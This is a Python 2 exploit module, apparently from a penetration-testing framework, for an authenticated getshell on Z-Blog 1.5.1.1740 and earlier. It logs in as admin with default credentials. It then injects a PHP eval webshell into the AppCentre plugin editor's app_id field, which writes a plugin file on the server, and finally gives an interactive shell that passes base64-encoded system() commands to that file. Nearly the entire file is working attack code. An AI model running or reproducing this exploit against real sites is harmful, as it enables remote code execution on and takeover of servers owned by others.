#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import hashlib
import sys
import string

try:
    from core.log import Log
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log

def check_prefix(prefix):
    allow_chars = string.letters + string.digits
    if len(prefix) < 3:
        print "[-] The length of 'prefix' must > 3"
        return False
    for i in prefix:
        if i not in allow_chars:
            print "[-] The prefix must be [a-zA-Z0-9]"
            return False
    return True

def md5(content):
    return hashlib.md5(content).hexdigest()

class Exploit:
    # 定义该漏洞利用的配置信息
    # 备注:
    #	necessity 表示该参数是否必须配置
    #	default 为该参数的默认值
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity": True},
        "remote_port": {"default": 80, "necessity": True},
        # "session_auth": {"default": True, "necessity":True},
        # "session_id": {"default": "", "necessity": True},
        "admin_user": {"default": "admin", "necessity":True},
        "admin_pwd": {"default": "admin_zblog", "necessity":True},
        "webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity": True},
        "shell_pwd": {"default": "c", "necessity": True},
        "interactive": {"default": True, "necessity": True},
        "plug_prefix": {"default": "image", "necessity": True},
        "shell_file": {"default": "update.php", "necessity": True}
    }
    # 如果该漏洞可以 GetShell, 该变量存储 shell 的 url
    webshell_url = ""
    session = requests.Session()

    def __init__(self):
        pass

    def login(self):
        remote_host = self.get_config("remote_host")
        remote_port = int(self.get_config("remote_port"))
        username = self.get_config("admin_user")
        password = self.get_config("admin_pwd")
        url = "http://%s:%d/zb_system/cmd.php?act=verify" % (remote_host, remote_port)
        data = {
            "username": username,
            "password": md5(password),
        }
        response = self.session.post(url, data=data)
        content = response.content
        return "后台首页" in content

    def exploit(self):
        '''
        漏洞利用的核心代码, 在此函数中完成漏洞利用
        '''
        Log.info("Lauching the exploition...")
        remote_host = self.get_config("remote_host")
        remote_port = self.get_config("remote_port")
        username = self.get_config("admin_user")
        password = self.get_config("admin_pwd")
        webshell_password = self.get_config("shell_pwd")
        prefix = self.get_config("plug_prefix")
        filename = self.get_config("shell_file")
        webshell = self.get_config("webshell")

        if not check_prefix(prefix):
            return False

        if not self.login():
            Log.error("Login failed!")
            Log.error("Please check your username and password")
            return False
        Log.success("[+] Login success!")

        Log.info("[+] Sending payload...")
        try:
            url = "http://%s:%d/zb_users/plugin/AppCentre/plugin_edit.php" % (remote_host, remote_port)
            data = {
                "app_id": "%s'.%s.'" % (prefix, webshell.replace("__PASSWORD__", webshell_password)),
                "app_path": filename,
            }
            response = self.session.post(url, data=data)
            content = response.content
        except Exception as e:
            Log.error(str(e))
            return False

        if "已存在同名的APP应用" in content:
            Log.error("PlugIn name has been used! Please change the prefix!")
            Log.error("Exploit failed!")
            return False
        elif len(content) == 0:
            self.webshell_url = "http://%s:%d/zb_users/plugin/%s'.%s.'/%s" % (remote_host, remote_port, prefix, webshell.replace("__PASSWORD__", webshell_password), filename)
            Log.success("Exploit success!")
            Log.success("Enjoy your shell :")
            Log.success("Url : %s" % (self.webshell_url))
            Log.success("Pas : c")
            Log.success("Remember to die() it!")
            self.interactive()
            return True
        else:
            Log.error("Unknown error!")
            Log.error("Exploit failed!")
            return False

    def show_options(self):
        '''
        输出该模块的选项信息 (即之前定义的 config)
        由 options 命令触发
        通常不需要改动
        '''
        Log.warning("Options\t\tNecessity\t\tDefault")
        Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.warning("%s\t\t%s\t\t\t%s" % (
                key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        '''
        对模块的参数进行修改
        由 set 命令触发
        通常不需要改动
        '''
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def interactive(self):
        '''
        在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
        这里判断了 webshell_url 这个变量是否为空
        因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
        '''
        if self.webshell_url == "":
            Log.error("Webshell is dead!")
            return
        while True:
            command = raw_input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", ""))
            }
            print data
            try:
                Log.success(self.session.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.error(str(e))
                return False

    def show_info(self):
        '''
        模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
        该函数在模块被加载的时候自动调用
        需要将其中的信息修改为对应的模块信息
        '''
        Log.info("Name: Zblog(1.5.1.1740) Authenticated GetShell")
        Log.info("Effected Version: <=1.5.1.1740")
        Log.info("Author: Shutdown_r")
        Log.info("Home: http://www.jianshu.com/u/0876d51c215f")
        Log.info("Refer:")
        Log.info("\thttps://gist.github.com/WangYihang/318020687b7e5f1efb38e9afd40c941b")

def main():
    '''
    测试用例
    '''
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "192.168.187.1")
    exploit.set_config("plug_prefix", "hack")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()